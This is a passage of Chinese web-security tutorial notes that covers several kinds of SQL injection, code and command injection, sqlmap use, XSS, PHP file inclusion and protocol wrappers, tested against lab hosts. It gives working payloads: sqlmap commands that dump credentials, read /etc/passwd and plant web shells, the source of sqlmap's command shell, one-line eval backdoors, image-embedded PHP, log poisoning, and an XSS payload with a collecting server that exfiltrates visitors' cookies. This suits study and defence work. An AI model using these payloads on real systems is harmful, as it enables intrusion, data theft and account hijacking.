那么根据时间上的差异,我们就可以获得相应的信息,同样可以写python脚本进行爆破,这里不再演示
5、更新注入
更新注入运用在对方不使用select查询语句而是使用更新类的操作的时候
因为更新类的操作的返回值是布尔类型的,即只有0或1,那我们想要得到相关的数据只能想办法让更新语句报错
所以,更新注入其实就是一种特殊的报错注入,使用的前提条件还是需要有报错回显
如何让更新语句报错?
insert类型
insert into user(u,p) values(updatexml(1,concat(0x7e,database(),0x7e),1));
#数据表名称要对,里面的字段名称可以随意。在value处可以构造报错函数
输出:
#1105 - XPATH syntax error: '~book~'
update类型
update user set username = '' where userid = 1 or updatexml(1,concat(0x7e,database(),0x7e),1)
#数据表名要对,里面的字段名要对,在or后面构造报错函数
输出:
#1105 - XPATH syntax error: '~book~'
delete类型
delete from user where userid=11 or updatexml(1,concat(0x7e,database(),0x7e),1)
#数据表名要对,里面的字段名要对,在or后面构造报错函数
输出:
#1105 - XPATH syntax error: '~book~'
6、堆叠注入
简单来说就是执行多条sql语句
平时需要执行多条sql语句的时候,我们会用分号去分隔不同的sql语句
select * from user where userid=1;
select * from test_ex where username='zyf';
原理就是如此,我们在对方sql语句写死的情况下,通过分号分隔他们的sql然后写入我们的sql
但是有一个前提条件:对方使用的执行sql语句的函数/方法必须是multi_query(),这样才能执行多条sql语句,否则就会报错
测试代码:
<?php
include "common.php";
$conn = create_connection();
$conn->query("set names utf8");
$id = $_GET['id'];
$sql = "select * from user where userid=$id";
$conn->multi_query($sql);
$result = $conn->store_result();
$rows = $result->fetch_row();
var_dump($rows);
?>
Payload:
http://172.16.50.133/test.php?id=1; update user set password="111111" where userid=1
也就是执行完前面的查询之后,再执行我们的sql语句,即更新了userid为1的用户的密码
查看:
7、二次注入
二次注入顾名思义,要注入两次,通过两次注入的相互“配合”达成目的
二次注入使用条件:能插入数据到数据库 + 能更新数据库中的数据
测试代码:
注册新的用户(插入数据库)
<?php
include "common.php";
$conn = create_connection();
$conn->query("set names utf8");
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$phone = addslashes($_POST['phone']);
$sql = "insert into test_ex(username,password,phone) values('$username','$password','$phone')";
$conn->query($sql);
?>
更改用户密码(更新数据库):
<?php
include "common.php";
$conn = create_connection();
$conn->query("set names utf8");
$username = $_POST['username'];
$new_password = $_POST['password'];
$sql = "update test_ex set password='$new_password' where username='$username'";
$conn->query($sql);
?>
假设我们通过测试知道了系统中有一个叫zyf的用户,但是密码不知道
我们可以先注册一个用户:
我们输入的单引号会被转义(因为有addslashes函数),放入sql语句中就是这样:
insert into test_ex(username,password,phone) values('zyf\'#','test@123','$18069004021');
此时的单引号就作为普通字符也存入了数据库中
查看数据库:
此时,我们使用修改密码的操作
后台接受传参后放到sql语句中,变成了:
update test_ex set password='111' where username='zyf'#'
拿出有效部分:
update test_ex set password='111' where username='zyf'
借刀杀人🐶
运行后查看数据库:
8、宽字节注入
宽字节的前提是后台操作数据库使用的是GBK编码
无论是get请求还是post请求,用户数据交给后台的时候都会经过url编码(utf-8/GBK/其他),这一编码过程通常由浏览器自动完成
后端为了防止我们输入单引号等闭合信息,会通过在其前面加上反斜杠进行转义
单引号经过编码后为%27,反斜杠经过GBK编码后为%5c
也就是说,如果我们输入了单引号,比如输入:zyf',就会变成zyf\',编码后就是zyf%5c%27
我们知道在GBK编码中,一个中文占2个字节,也就是说中文经过编码后是%…%…这样的形式
那是否可以找到一个中文经过GBK编码之后是%5c结尾的?
有很多这样的中文,比如糪:
那么,当我们输入:zyf%bc'的时候,经过url编码之后传输到服务器,服务器接收到后进行url解码成zyf0xbc'(注意这里并非转换成字符,而是转换成字节,因为方便机器处理,所以zyf0xbc'应该表述成b'zyf0xbc''或者0x7a7966bc27,但是为了方便看,就写成zyf0xbc'的形式,第九章节此类表述不再解释)
由于使用了addslashes函数,会对单引号进行转义,就变成了zyf0xbc\'了(计算机看到的其实是0x7a7966bc5c27)
由于后端使用的是GBK编码,0xb5c是一个合法的中文,那么这个输入最终就会被解析成:zyf糪'
我们的单引号就保留下来了,这就是宽字节注入的原理
测试代码:
<?php
$conn = mysqli_connect("127.0.0.1","admin","admin","book") or die('');
mysqli_set_charset($conn, 'gbk');
$username = addslashes($_GET['username']);
$sql = "select * from user where username='$username'";
$result = mysqli_query($conn,$sql);
$user = mysqli_fetch_assoc($result);
echo $user['username'];
?>
Payload:
http://172.16.50.133/test.php?username=zyf%bc' union select 1,database(),3,4,5,6--+
结果:
book
9、URL解码注入
上面我们提到,我们通过GET请求/POST请求传参的时候,我们的数据先经过url编码,然后到服务器端的时候再进行url解码
如果服务器端在解码的基础上又进行了一次url解码,那就可能产生URL解码注入
假设服务器端会将我们的单引号进行转义,那我们就不直接输入单引号,而是输入%2527,经过url编码之后就变成了%252527,到了服务器端经过url解码之后就会变成%2527(0x253237),由于服务器端又会再进行一次url解码,也就是变成了%27(0x27),最后就变成了单引号
测试代码:
<?php
include "common.php";
$conn = create_connection();
$id = urldecode(addslashes($_GET['id']));
$sql = "select * from user where userid='$id'";
$conn->multi_query($sql);
$result = $conn->store_result();
$rows = $result->fetch_row();
var_dump($rows);
?>
payload:
http://172.16.50.133/test.php?id=-1%2527 union select 1,2,database(),4,5,6--+
结果:
array(6) { [0]=> string(1) "1" [1]=> string(1) "2" [2]=> string(4) "book" [3]=> string(1) "4" [4]=> string(1) "5" [5]=> string(1) "6" }
10、补充其他注入类型
(1)代码注入
1.eval函数
后端如果使用eval函数且接受我们的传值的话,我们就可以进行代码注入,一句话木马的原理就是如此
测试代码:
<?php
eval($_GET['code']);
?>
payload:
http://172.16.50.133/test.php?code= include "common.php";
$conn = create_connection();
$result = $conn->query("select * from user where userid=1");
var_dump($result->fetch_all());
结果:
array(1) { [0]=> array(6) { [0]=> string(1) "1" [1]=> string(3) "zyf" [2]=> string(6) "123456" [3]=> string(5) "admin" [4]=> string(1) "0" [5]=> string(19) "2025-04-12 10:35:31" } }
可以看到被eval包裹的部分只要符合php语法都能被执行,而且不限制长度
2.assert函数
assert函数用于判断一个表达式是否成立,但是它为了判断会先将表达式执行一遍(php8.0以下),也就造成了代码注入的可能。
但是和eval不同的是,他只能执行简单的语句,像多行代码就不行
但是为了让其运行多行代码,我们可以让assert去运行eval函数,在eval函数里面写多行代码
注意:assert默认被禁用,若需要使用需要主动开启;并且php8.0以上的版本中的assert函数只能用于判断表达式是否成立,不再会执行表达式。
3.preg_replace函数
preg_replace (正则表达式, 替换成什么东西, 目标字符串)
若正则表达式中使用了“e”这个参数,就会把替换后的内容当成代码执行(php5.5版本以下,7.0以上已经弃用该参数)
比如:
preg_replace("/test/e", 'phpinfo();', 'test');
那么,test会被正则表达式匹配并替换成phpinfo();
由于正则表达式使用了“e”这个参数,所以替换后的phpinfo();就被当成代码执行了。
4.create_function函数
create_function的作用创建一个匿名函数
create_function(参数字符串,函数体字符串)
比如:
$func = create_function('$a, $b', 'return $a + $b;');
echo $func(2, 3);
就相当于:
<?php
function func($a,$b){
return $a + $b;
}
echo $func(2, 3);
?>
利用方式:
<?php
$func = create_function('',$_GET['cmd']);
$func();
?>
那么我们传入的参数就会作为函数体的内容,那么后续调用该函数的时候就会执行里面的语句
payload:
http://172.16.50.133/test.php?cmd=phpinfo();
相当于:
<?php
function func(){
phpinfo();
}
func();
?>
注意:该函数已经在7.2版本之后被弃用
其他:
xss和反序列化漏洞也是输入命令注入,这个后续再讲。
(2)命令注入
在php中可以直接执行操作系统命令的函数有system、exec、popen、pasasthru、shell_exec或者` `等
若能将我们构造的系统命令放到这些函数中,就是命令注入
注意:测试的时候需要知道哪些函数有回显,哪些函数需要通过echo才能有回显
有关命令注入的逻辑符号:
&& 前一个命令成功后才会执行后一个命令
|| 前一个命令失败了才会执行后一个命令
| 管道,前一个命令的输出会作为后一个命令的输入
; 前后命令无关联,分别执行
& 让命令在后台执行
(3)HTTP头注
HTTP头中有很多信息,服务器端为了记录这些信息,通常会将需要的部分存入数据库
这也就意味着HTTP头部的部分信息也涉及到数据库的更新操作(insert等)
那我们就可以使用更新注入的方式来达到自己的目的
注意
- 上面展示的都是基于mysql数据库的用法,若遇到其他类型的数据库,只需要构造对应的sql语句即可
- 还有很多绕过过滤的方法,上面并没有展示,具体问题具体分析(可上网查相关的资料)
11、sqlmap
sqlmap工具使用的前提:
- 手动找到闭合信息,并且在使用sqlmap的时候带上闭合信息
(1)GET请求
脱库操作:
- 数据库
python3 sqlmap.py -u "http://172.16.50.133/content.php?id=1" --cookie="PHPSESSID=a765c0da624b3252b3ba88eb6d1ceb7b" --dbs
输出:
[09:03:04] [INFO] fetching database names
available databases [5]:
[*] book
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
- 数据表
python3 sqlmap.py -u "http://172.16.50.133/content.php?id=1" --cookie="PHPSESSID=a765c0da624b3252b3ba88eb6d1ceb7b" -D "book" --tables
输出:
[09:03:30] [INFO] fetching tables for database: 'book'
Database: book
[3 tables]
+---------+
| user |
| article |
| test_ex |
+---------+
- 字段
python3 sqlmap.py -u "http://172.16.50.133/content.php?id=1" --cookie="PHPSESSID=a765c0da624b3252b3ba88eb6d1ceb7b" -D "book" -T "user" --columns
输出:
[09:03:48] [INFO] fetching columns for table 'user' in database 'book'
Database: book
Table: user
[6 columns]
+-----------+-------------+
| Column | Type |
+-----------+-------------+
| role | varchar(20) |
| failcount | tinyint(4) |
| lasttime | datetime |
| password | varchar(40) |
| userid | varchar(12) |
| username | varchar(20) |
+-----------+-------------+
- 指定字段里面的信息
python3 sqlmap.py -u "http://172.16.50.133/content.php?id=1" --cookie="PHPSESSID=a765c0da624b3252b3ba88eb6d1ceb7b" -D "book" -T "user" -C "username,password" --dump
输出:
[09:04:24] [INFO] fetching entries of column(s) 'password,username' for table 'user' in database 'book'
Database: book
Table: user
[2 entries]
+----------+----------+
| username | password |
+----------+----------+
| zyf | 123456 |
| fff | 456789 |
+----------+----------+
获得对方的一些相关信息:
其实在使用sqlmap的时候,会回显出对方很多的相关信息
比如对方的操作系统、web应用、数据库类型:
[09:03:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
绝对路径信息(在使用os-shell这个参数的时候)
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
上传木马文件:
python3 sqlmap.py -u "http://172.16.50.133/content.php?id=1" --cookie="PHPSESSID=a765c0da624b3252b3ba88eb6d1ceb7b" --os-shell
如果成功上传,那么此时就如同菜刀一样,可以直接使用对方的终端
[09:29:06] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'www-data'
os-shell>
可以根据上传提示去看一下sqlmap上传了什么
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1
";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w
一句话木马外加上一些执行系统命令的函数(exec、system等)
除了上面的使用-os-shell参数自动上传木马,我们也可以手动上传
python3 sqlmap.py -u "http://172.16.50.133/content.php?id=1" --cookie="PHPSESSID=a765c0da624b3252b3ba88eb6d1ceb7b" --file-write ./hack.php --file-dest /var/www/html/hack.php
--file-write指定要上传的文件,--file-dest指定要上传到的路径
结果:
┌──(root㉿kali)-[/var/www/html]
└─# ls
article.php delete.php index.nginx-debian.html login.html test.php vcode2.php
common.php hack.php jquery-3.4.1.min.js login.php test.txt vcode.php
content.php index.html login2.php phpmyadmin tmpubbaw.php welcome.php
┌──(root㉿kali)-[/var/www/html]
└─# cat hack.php
<?php @eval($_GET['a']);?>
可以看到上传成功
既然可以上传文件,那么也可以下载文件:
python3 sqlmap.py -u "http://172.16.50.133/content.php?id=1" --cookie="PHPSESSID=a765c0da624b3252b3ba88eb6d1ceb7b" --file-read /etc/passwd
--file-read指定要读取的文件
若读取成功,会提示读取过来的文件存放的位置
访问查看结果:
(2)POST请求
若对方使用的是POST请求,那么我们需要将我们的请求内容复制到文件中
sqlmap % python3 sqlmap.py -r ./sql_post.txt --dbs
结果:
[10:00:24] [INFO] fetching database names
available databases [5]:
[*] book
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
后续的一些使用都是和get类似的,不再重复
九、搜索引擎语法
前引:
掌握一些搜索引擎语法可以让我们的搜索更有针对性
比如针对SQL注入漏洞,我们可以去搜索包含传参的url(inurl:?)
……
1、百度和bing
2、google
inurl: 用于搜索网页上包含的URL
十、XSS
1、前引
XSS(Cross Site Scripting)跨站攻击脚本
这里的脚本指的就是前端代码,最主要的就是JavaScript
XSS漏洞发生在前端,攻击者想办法找到有XSS漏洞的地方,然后构造好JavaScript代码,随后等着受害者主动/被动地去执行这段JavaScript代码
先来讲讲JavaScript运行的条件:
1.代码位于当中
<script>alert(1);</script>
2.代码位于onclick/onerror/onload/onfocus/onblur/onchange/onmouseover等事件中
<button onclick="alert(1)">快来点我</button>
<img src="xxx.jpg" onmouseover="alert(1)"/>
3.代码位于超链接的href属性中,或者其他类似属性中
<a href="javascript:alert(1)">点击有惊喜</a>
构造一个含有XSS漏洞的页面:
<?php
if(isset($_GET['id'])){
echo $_GET['id'];
}
else{
echo "请输入id值";
}
?>
我们通过get传的内容都会通过echo返回到页面上
我们知道,客户端请求页面,服务器端发现该页面有php代码,将它先交给php脚本引擎去解析php代码,解析完的结果返回给服务器,服务器将结果内容返回给客户端
假如我们传值是这样的:
http://172.16.50.134/test_xss.php?id=<script>alert(1);</script>
那么服务器端交给客户的就是:
<script>alert(1);</script>
那么浏览器一解析,就出现弹窗了
这就是最简单的XSS的利用
攻击者当然可以构造更加复杂的语句来达成他的目的
http://172.16.50.134/test_xss.php?id=<img src="http://172.16.50.134/fff.png" οnmοuseοver="alert(1);" width=200/>
http://172.16.50.134/test_xss.php?id=<script>function test(){alert(1);}</script><button οnclick=test()>点我有惊喜!</button>
http://172.16.50.134/test_xss.php?id=<a href="https://www.baidu.com">点我有惊喜</a>
等等……
2、XSS的利用方式
- 网页挂马,利用浏览器挖矿等
- 盗取用户Cookie并扮演用户角色
- DOS客户端浏览器
- 钓鱼攻击
- 删除目标文章、恶意篡改数据、嫁祸
- 劫持用户Web行为,甚至进一步进行内网渗透
- 爆发Web2.0蠕虫
- 蠕虫式的DDOS攻击
- 蠕虫式挂马攻击、刷广告、刷流量、破坏网上数据
一言以蔽之,具体要实现何种危害,完全取决于你的JavaScript代码用于执行何种功能
3、闭合
我们改造一下上面的基本代码
<?php
if(isset($_GET['id'])){
$content = $_GET['id'];
echo "<input type='text' id='content' value='$content'/>";
}
else{
echo "请输入id值";
}
?>
将我们输入的内容放到一个标签内,而不是直接echo输出
此时如果我们要进行XSS,就要考虑到闭合的问题
普通输入:
172.16.50.134/test_xss.php?id=123
查看页面源代码:
<input type='text' id='content' value='123'/>
可以看到我们的输入被放在固定的位置,那我们只需要构造出正确的闭合,就可以任意构造我们的payload
payload:
http://172.16.50.134/test_xss.php?id=123' οnclick='alert(1);
查看页面源代码:
<input type='text' id='content' value='123' onclick='alert(1);'/>
可以发现,通过闭合,我们又构造出一个新的标签内容
此时点击文本框,就会有弹窗出现
既然这样,我们就可以发挥自己的想象了
比如:
172.16.50.134/test_xss.php?id=123'/> <button οnclick='alert(1);'>点我有惊喜</button><!--
查看页面源代码:
<input type='text' id='content' value='123'> <button onclick='alert(1);'>点我有惊喜</button><!--'/>
点击就会出现弹窗
以上构造的payload其实都没造成攻击,类似一种判断是否存在XSS漏洞的一种测试,攻击部分我们后续再提
4、改进之前的文章系统
新增一个添加文章的功能,在article.php中添加:
<br><hr><br>
<div style="width:100%;margin:auto;text-align:center;"><a href="add.php">发表文章</a></div>
add.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>发表文章</title>
<script type="text/javascript" src="jquery-3.4.1.min.js"></script>
<style>
#outer{
width:800px;
height:600px;
border:solid 1px red;
margin:auto;
}
#outer div{
margin:20px;
border:solid 0px gray;
}
#outer div input{
width:600px;
}
#outer div textarea{
width:600px;
height:300px;
}
</style>
<script>
function doAdd(){
var headline = $("#headline").val();
var content = $("#content").val();
var param = "headline=" + headline + "&content=" + content;
$.post("doadd.php",param,function(data){
if(data=="add-success"){
alert('文章上传成功');
location.href="article.php";
}
else{
alert('文章上传失败')
}
});
}
</script>
</head>
<body>
<?php
include "common.php";
if($_SESSION['isLogin']!='true'){
echo "<script>window.alert('请先登录!');</script>";
echo "<script>location.href='login.html';</script>";
}
else if($_SESSION['role']!='admin'){
echo "<script>window.alert('你无权发表文章!');</script>";
echo "<script>location.href='article.php';</script>";
}
?>
<div id = "outer">
<div>你当前的用户名为:<?php echo $_SESSION['username'];?>角色为:<?php echo $_SESSION['role'];?></div>
<div>请输入你的文章标题<input type="text" id="headline"></div>
<div>请输入你的文章内容<textarea id="content"></textarea></div>
<div style="text-align: center;"><button onclick="doAdd();" >提交</button></div>
</div>
</body>
</html>
doadd.php
<?php
include "common.php";
$headline = $_POST['headline'];
$content = $_POST['content'];
$author = $_SESSION['username'];
$conn = create_connection();
$sql = "insert into article(headline,author,viewcount,content) values('$headline','$author',0,'$content');";
$conn->query($sql) or die('添加失败了');
echo "add-success";
$conn->close();
?>
试探是否存在XSS漏洞:
点击上传,显示文章上传成功
查看该文章的时候,可以看到我们写入的图片,并且点击之后还会弹窗:
说明存在XSS
需要注意的是:文章上传涉及到数据库的操作,所以当我们的输入含有数据库闭合信息(这里为单引号)的时候,需要进行转义,否则可能会上传不成功(当然这是因为我们测试环境并没有对单引号进行转义,存在SQL注入漏洞,但是本章节这不是重点)
5、获得用户的Cookie
基本的过程
黑客的服务器:
<?php
$ip_addr = $_SERVER['REMOTE_ADDR'];
$url = $_GET['url'];
$cookie = $_GET['cookie'];
$conn = new mysqli("127.0.0.1","admin","admin","security");
$sql = "insert into information(ipaddr,url,cookie,createtime) values('$ip_addr','$url','$cookie',now());";
$conn->query($sql);
$conn->close();
//下面任选其一即可,也可以构造其他类似的(目的都是让用户察觉不出来)
//为了使用户无感(将信息存入自己数据库后(速度很快),返回之前的页面)
echo "<script>history.back();</script>";
//是百度干的,嘻嘻
echo "<script>location.href='https://www.baidu.com';</script>"
?>
在文章中构造payload:
核心部分
<a href="javascript:location.href='http://172.16.50.134/hack_website.php?url='+location.href+'&cookie='+document.cookie"><img src="http://172.16.50.134/fff.png" width="300"/></a>
注意:payload中的+和&经过url编码过后会失去其本身的意义,比如+经过转码之后就变成了%20,而%20是空格的url编码,所以为了让他们保持原本的含义,我们需要写出他们对应的url:
+对应%2B
&对应%26
改造后的payload:
<a href="javascript:location.href=\'http://172.16.50.134/hack_website.php?url=\'%2Blocation.href%2B\'%26cookie=\'%2Bdocument.cookie"><img src="http://172.16.50.134/fff.png" width="300"/></a>
上传成功后,模拟用户点击图片,那么此时我们的cookie等信息就被黑客记录下来了
当然,上面的测试是基于图片的诱惑,用户点击后才传输的cookie,若用户有防范呢?
所以我们也需要有自动上传cookie的脚本
payload:
<script>
new Image().src="http://172.16.50.134/hack_website.php? url="%2Blocation.href%2B"%26cookie="%2Bdocument.cookie;
</script>
上传成功后,只要用户点击该文章,就会传输信息给黑客
我们可以发现,当我们想实现的功能越多,我们构造的JS代码就会越长,特征明显,并且容易收到长度的限制
解决方法:
- 将代码放到一个.js文件中,然后用该文件去构造相应的payload
- 使用XSS平台
- 将JS代码写入自己的网站,访问就会执行
- 生成短链接
6、XSS的三种类型
(1)反射型XSS
也称为非持久型XSS,攻击者通过将构造好的URL发送给受害者,受害者访问之后触发JS代码
(2)存储型XSS
也称为持久型XSS,攻击者将payload存入服务器当中,当受害者访问受攻击的内容的时候,触发JS代码
(3)DOM型XSS
和反射型的区别在于,DOM类型是前端代码导致的漏洞,不涉及后端;而反射型涉及到后端代码
7、防御的手段
(1)做实体字符编码
使用htmlspecialchars函数,该函数可以将内容中的特殊符号(尖括号、引号等)转换成实体编码
比如我们的后端代码为:
<?php
echo htmlspecialchars($_GET['id']);
?>
前端输入:
http://172.16.50.134/test.php?id=<script>alert(1);</script>
虽然页面上显示了我们输入的内容:
但是查看源代码就可以发现:
<script>alert(1);</script>
我们输入的"<"、">"都被转换成了其对应的字符编码,浏览器也就认为他不是一个JS代码了
(2)正则表达式或字符串的判断
做好相应的过滤,不让用户输入不合理的内容
8、XSS绕过防御的方法
核心:绕过过滤
根据过滤的手法,对症下药
双写绕过、大小写绕过、对输入内容进行html实体编码、添加注释信息
等等……
这其实就要求我们对代码很熟悉,并且知道一些特殊的特性
额外补充一点,当我们的payload在这些标签内的时候,即使注入到源代码中了,也是无法执行的:
<textarea></textarea>
<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<xmp></xmp>
<plaintext></plaintext>
绕过的方法就是闭合前面的标签,从中逃逸出来
9、XSS漏洞扫描器的制作
(1)思路
要么直接对一个URL地址进行XSS相关payload的攻击,要么先对目标站点先使用爬虫手段,然后对所有爬取到的站点进行XSS相关payload攻击
如何判断payload的成功与否?
看一下我们构造的内容是否被显示在页面源代码当中
十一、文件包含漏洞
1、利用条件
(1)存在函数
include、include_once、require、require_once
且后面跟着的参数是用户可控的
比如:
<?php
$filename = $_GET['file'];
include $filename;
?>
我们知道,这些函数都会将被包含的文件先执行一遍
其实,这几个函数还有一个特殊的特性:
那就是,被他们包含的文件,无论文件后缀名是什么,文件里面的内容都会被当成php代码进行执行
(2)php配置文件
allow_url_fopen = On (默认开启)
allow_url_include = On
若是本地文件包含,只需要开启第一条;若是远程文件包含,则两条均需要开启
2、利用
满足文件包含的条件后,若服务器端对我们的输入并无限制,我们就可以任意的去包含文件(路径对+传参对)
测试代码(file_include.php):
<?php
$filename = $_GET['file'];
include $filename;
?>
Payload1:
http://172.16.50.128/security/file_include.php?file=article.php
结果:
Payload2(被包含的文件含参数的情况):
http://172.16.50.128/security/file_include.php?file=content.php&id=1
结果:
注意:需要get传参时,不要直接在文件后接“?”去传参,因为这会被当成文件名的一部分,那么就会因为找不到该文件而报错;若需要传参,就要用到“&”
Payload3:
http://172.16.50.128/security/file_include.php?file=test.txt&cmd=phpinfo();
其中test.txt是一个文本文件,我们在里面写入php代码
<?= @eval($_GET['cmd']);?>
根据文件包含函数的特殊性质,上面payload的结果可想而知:
Payload4:
根据php的特性,如果字符不在php标签内,那么就会当成普通文本进行输出
那么我们利用文件包含还可以进行敏感文件的读取
http://172.16.50.128/security/file_include.php?file=/etc/passwd
但是,由于我这里设置了读取文件目录的范围,所以这条会报错
那如果对方服务器并没有防御这点,就会出现问题
Payload5(远程文件包含):
上面我们包含的都是本地文件,其实在满足配置文件的前提下,还可以进行远程文件包含(相当于发送一个请求,然后获得响应):
http://172.16.50.128/security/file_include.php?file=http://www.baidu.com
结果:
Payload6:
细节点:
假设,我们在本地开了80服务,且有一个一句话木马的脚本(test.php)在上面
<?php
@eval($_GET['cmd']);
?>
如果我们直接利用(下述payload其实有误,因为公网访问不到私网的服务器,我们假设他能访问)
http://172.16.50.128/security/file_include.php?file=172.16.50.134/test.php?cmd=phpinfo();
那么此时执行出来的phpinfo();其实是172.16.50.134这台服务器的php配置信息(因为这相当于发送了一个请求)
但是一般来说,我们要的是对方的信息
那么此时,小小修改一下payload
先将我们的木马文件文件名改了(.php -> .txt)
http://172.16.50.128/security/file_include.php?file=172.16.50.134/test.txt&cmd=phpinfo();
此时,对方服务器包含到的是我们服务器的文件(包含类似于直接将里面的内容复制到代码中),那么接下来再传参数,我们获得的就是对方服务器的php配置信息了
3、php伪协议
(1)php://filter
现在有这么一个文件(test.php)
<?= @eval($_GET['cmd']);?>
如果我们直接使用文件包含函数去包含这个文件:
http://172.16.50.128/security/file_include.php?file=test.php
那么就是相当于执行了test.php里面的代码
但是如果我们只需要看到代码内容本身呢?
此时就可以使用伪协议
http://172.16.50.128/security/file_include.php?file=php://filter/read/convert.base64-encode/resource=test.php
输出:
PD89IEBldmFsKCRfR0VUWydjbWQnXSk7Pz4=
解码之后得到:
<?= @eval($_GET['cmd']);?>
这就有可能造成敏感信息的泄漏
(2)php://input
payload:
http://172.16.50.128/security/file_include.php?file=php://input
发送请求,然后抓包后添加post正文
就相当于文件包含函数包含了一个匿名文件,文件内容就是我们输入的POST正文
至于为什么要以抓包的方式添加正文:因为直接POST传输会将内容转码,那么此时匿名文件中的内容就是转码后的内容,也就是不服和php代码,就会被当成文本输出
(3)phar://
结合文件包含可以包含到压缩文件里面的内容
假设服务器上我们上传了一个压缩格式的php文件(file_include.php.zip)
里面文件的内容是:
<?php
phpinfo();
?>
payload:
http://172.16.50.128/security/file_include.php?file=phar://file_include.php.zip/file_include.php
结果:
而且phar支持压缩文件内多层路径
比如target.php在压缩包内的路径为:test.zip/test/target.php
那么只需要构造payload:
http://172.16.50.128/security/file_include.php?file=phar://test.zip/test/target.php
这个伪协议通常配合文件上传,因为服务器端会对上传的文件进行严格的限制(比如禁止上传.php等)
所以,我们可以将木马文件压缩,然后上传压缩文件,接着文件包含 + phar伪协议就能运行木马了
(4)zip://
和phar://基本一致,就是目录不在使用“/”而是用“#”,而且构造payload的时候不能直接写“#”需要进行url编码
即“%23”
payload:
http://172.16.50.128/security/file_include.php?file=zip://file_include.php.zip%23file_include.php
结果:
还有一个区别:
zip://不支持压缩包内的多级目录,只能单层(即压缩包内第一层)
(5)data://
与php://input类似,不同点在于php://input使用POST传参,而data://使用GET
payload:
172.16.50.128/security/file_include.php?file=data://text/plain,
抓包(原因在php://input里面讲过),在逗号后面写上php代码
如果要绕过过滤,可以使用base64编码:
本体:
<?php phpinfo();
编码后:
PD9waHAgcGhwaW5mbygpOw==
Payload:
172.16.50.128/security/file_include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
结果:
4、间接利用
(1)日志
我们对服务器的访问、登录等操作,只要服务器端开着日志,就会有相应的记录
比如:
access.log(截取部分内容)
xx.xx.xx.xx - - [19/Apr/2025:15:06:05 +0800] "GET /security/file_include.php?file=data://text/plain,<?=phpinfo();?>
看到了内容中含有:
<?=phpinfo();?>
也就是说,当我们知道日志的位置,并且日志内容可读,我们利用文件包含就可以包含到这个日志文件,然后执行里面的php代码
所以,我们的利用流程就是,去执行那些可以留下日志的操作,并在操作中构造出我们想要的php代码,然后通过爆破/猜测日志目录,利用文件包含漏洞去包含日志文件,达成目标代码的执行
而且通过测试可以发现,错误的请求/无效的请求,也是会被记录下来的
这也就意味着,我们无需精心构造paylaod,只要带着php代码信息去访问网站(前提没有过滤,没有转码),就有可能记录下内容
常见的日志:web日志(成功、失败)、ssh登录日志、mysql日志(一般不开)等
(2)图片马
即在图片的二进制文件中加入我们的php代码,当对方包含这个图片的时候,就会去解析其中的php代码
基本的图片码的制作:
选好一张图片,使用命令:
echo "<?php phpinfo();?>" >> Less-1.jpg
此时,以二进制的方式查看图片,可以看到图片的末尾被我们加入了php代码
那么,利用文件包含漏洞:
http://172.16.50.128/security/file_include.php?file=Less-1.jpg
结果:
而且我们正常打开这张图片,是看不出异常的:
可以用来绕过上传文件类型的限制
当然,这里只是最基础的用法, 后续在“文件上传漏洞”里面补充
(3)临时文件
临时文件指服务器会短暂存储,但是后续很快删除的文件。
比如文件上传服务器,然后服务器对其检测的时候,某些检测机制会先把上传的文件保存到一个临时文件夹或者沙盒里面
是否有临时文件这也需要看业务逻辑,而且包含临时文件需要利用条件竞争的方式(动静大,容易被发现)
条件竞争的步骤及原理:
a.使用burpsuite不停地发包上传文件
b.我们在文件包含页面不断地尝试包含上传的文件,期望恶意文件在被服务器删除之前被我们包含到
c.一旦包含成功,即使文件被删除,只要shell不断,就可以保持连接
具体利用见“文件上传漏洞”
(4)Session文件
Session文件一般存储在tmp目录下
我们需要找到可以修改session文件的点,然后写入php代码,最后利用文件包含去包含session文件
十二、文件上传漏洞
网页中通常会有上传文件的地方,如果对用户上传的内容不进行检测/过滤,导致用户上传木马到服务器,这就是文件上传漏洞的原理
1、之前写的注册系统
先补充一下如何使用php获取文件属性
$_FILES['file']['name'] -被上传文件的名称
$_FILES['file']['type'] -被上传文件的类型
$_FILES['file']['size'] -被上传文件的大小,以字节为单位
$_FILES['file']['tmp_name'] -存储在服务器的文件的临时路径
$_FILES['file']['error'] -由文件上传导致的错误代码
其中"file"是前端使用的name属性指定的
前端页面(regajax.html):
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script type="text/javascript" src="jquery-3.4.1.min.js"></script>
<style>
table{
width:600px;
margin:auto;
border-spacing: 0;
border:solid 1px green;
}
td{
height:50px;
border:solid 1px gray;
text-align:center;
}
button{
width: 200px;
height:35px;
background-color: dodgerblue;
